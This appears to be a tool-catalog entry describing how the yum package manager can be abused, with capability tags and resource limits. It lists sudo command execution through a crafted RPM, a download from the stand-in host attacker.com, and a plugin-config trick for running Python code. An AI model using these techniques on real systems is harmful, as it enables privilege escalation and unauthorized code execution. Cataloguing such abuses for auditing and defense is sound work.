Yellowdog Updater Modified package manager; can execute arbitrary commands and spawn shells.
yum yum Sandbox: execFile · Timeout: 30s
security.execution.command network.transfer.download Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | none |
| Disk I/O | low |
Execute arbitrary commands (sudo)
yum localinstall -y x-1.0-1.noarch.rpm Download files (sudo)
yum install http://attacker.com/path/to/input-file.rpm Leverage python capabilities
cat >/path/to/temp-dir/x<<EOF
[main]
plugins=1
pluginpath=/path/to/temp-dir/
pluginconfpath=/path/to/temp-dir/
EOF
cat >/path/to/temp-dir/y.conf<<EOF
[main]
enabled=1
EOF
cat >/path/to/temp-dir/y.py<<EOF
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
...
EOF
yum -c /path/to/temp-dir/x --enableplugin=y yum is a command-line utility. Yellowdog Updater Modified package manager; can also execute arbitrary commands, download files Can also leverage capabilities from: python.